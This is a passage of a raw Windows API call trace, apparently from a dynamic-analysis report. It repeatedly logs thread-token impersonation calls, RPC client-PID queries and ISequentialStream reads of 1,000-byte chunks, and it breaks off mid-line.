SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.599] GetCurrentThread () returned 0xfffffffffffffffe [0147.599] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.599] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.599] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.599] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.599] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.600] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.600] GetCurrentThread () returned 0xfffffffffffffffe [0147.600] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.600] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.600] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.600] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xe7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.600] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.600] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.601] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.601] GetCurrentThread () returned 0xfffffffffffffffe [0147.601] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.601] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.601] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.601] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x58, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.602] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.602] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.603] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.603] GetCurrentThread () returned 0xfffffffffffffffe [0147.603] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.603] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.603] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.603] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6b, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.603] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.603] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.604] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.604] GetCurrentThread () returned 0xfffffffffffffffe [0147.604] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.604] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.604] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.604] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xec, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.605] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.605] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.605] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.605] GetCurrentThread () returned 0xfffffffffffffffe [0147.606] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.606] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.606] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.606] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x7c, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.606] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.606] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.608] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.608] GetCurrentThread () returned 0xfffffffffffffffe [0147.608] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.608] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.608] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.608] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x90, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.609] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.609] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.610] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.611] GetCurrentThread () returned 0xfffffffffffffffe [0147.611] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.611] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.611] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.611] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa6, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.611] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.611] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.612] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.612] GetCurrentThread () returned 0xfffffffffffffffe [0147.612] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.612] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.612] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.612] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd2, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.612] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.612] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.613] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.613] GetCurrentThread () returned 0xfffffffffffffffe [0147.613] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.613] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.613] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.613] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x20, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.613] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.613] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.615] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.616] GetCurrentThread () returned 0xfffffffffffffffe [0147.616] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.616] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.616] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.616] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xf, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.616] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.616] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.617] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.617] GetCurrentThread () returned 0xfffffffffffffffe [0147.617] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.617] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.617] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.617] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x12, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.617] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.617] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.618] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.618] GetCurrentThread () returned 0xfffffffffffffffe [0147.618] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.618] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.618] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.618] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa9, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.619] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.619] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.619] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.619] GetCurrentThread () returned 0xfffffffffffffffe [0147.619] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.619] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.620] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.620] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x47, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.620] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.620] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.621] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.621] GetCurrentThread () returned 0xfffffffffffffffe [0147.621] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.621] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.621] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.621] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x65, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.621] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.621] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.622] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.622] GetCurrentThread () returned 0xfffffffffffffffe [0147.622] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.622] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.622] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.622] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xbc, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.622] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.622] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.623] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.623] GetCurrentThread () returned 0xfffffffffffffffe [0147.623] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.623] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.623] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.624] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xad, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.624] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.624] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.624] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.624] GetCurrentThread () returned 0xfffffffffffffffe [0147.624] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.625] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.625] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.625] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x55, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.625] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.625] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.626] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.626] GetCurrentThread () returned 0xfffffffffffffffe [0147.626] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.626] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.626] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.626] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xec, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.626] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.626] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.627] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.627] GetCurrentThread () returned 0xfffffffffffffffe [0147.627] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.627] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.627] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.627] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa1, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.627] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.628] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.631] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.631] GetCurrentThread () returned 0xfffffffffffffffe [0147.631] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.631] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.632] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.632] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xfe, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.632] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.632] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.633] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.633] GetCurrentThread () returned 0xfffffffffffffffe [0147.633] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.633] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.633] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.633] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x8, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.633] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.633] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.634] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.634] GetCurrentThread () returned 0xfffffffffffffffe [0147.634] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.634] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.634] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.634] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x1e, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.634] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.634] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.635] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.635] GetCurrentThread () returned 0xfffffffffffffffe [0147.635] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.635] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.635] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.635] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xc5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.636] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.636] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.636] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.637] GetCurrentThread () returned 0xfffffffffffffffe [0147.637] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.637] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.637] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.637] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xec, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.637] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.637] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.640] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.640] GetCurrentThread () returned 0xfffffffffffffffe [0147.640] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.640] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.640] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.640] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x44, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.640] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.640] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.641] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.641] GetCurrentThread () returned 0xfffffffffffffffe [0147.641] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.641] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.641] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.641] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x3a, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.641] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.641] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.642] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.642] GetCurrentThread () returned 0xfffffffffffffffe [0147.642] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.642] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.642] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.642] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xd5, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.642] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.642] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.643] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.643] GetCurrentThread () returned 0xfffffffffffffffe [0147.643] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.643] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.643] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.643] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xb, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.643] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.643] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.644] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.644] GetCurrentThread () returned 0xfffffffffffffffe [0147.644] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.644] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.644] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.644] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x64, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.644] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.644] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.645] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.645] GetCurrentThread () returned 0xfffffffffffffffe [0147.645] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.645] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.645] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.645] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x98, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.645] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.646] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.646] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.646] GetCurrentThread () returned 0xfffffffffffffffe [0147.646] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.646] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.646] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.646] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x6f, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.647] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.647] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.647] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.647] GetCurrentThread () returned 0xfffffffffffffffe [0147.647] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.647] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.648] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.648] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0xa7, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.648] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.648] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.648] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.648] GetCurrentThread () returned 0xfffffffffffffffe [0147.648] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, TokenHandle=0xbde878 | out: TokenHandle=0xbde878*=0x0) returned 0 [0147.649] I_RpcBindingInqLocalClientPID (in: Binding=0x0, Pid=0xbde848 | out: Pid=0xbde848) returned 0x0 [0147.649] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0147.649] ISequentialStream:RemoteRead (in: This=0x32e790, pv=0x2124120, cb=0x3e8, pcbRead=0xbde7b0 | out: pv=0x2124120*=0x82, pcbRead=0xbde7b0*=0x3e8) returned 0x0 [0147.649] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.649] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.649] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0147.649] GetCurrentThread () returned 0xfffffffffffffffe [0147.650] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x4, OpenAsSelf=1, 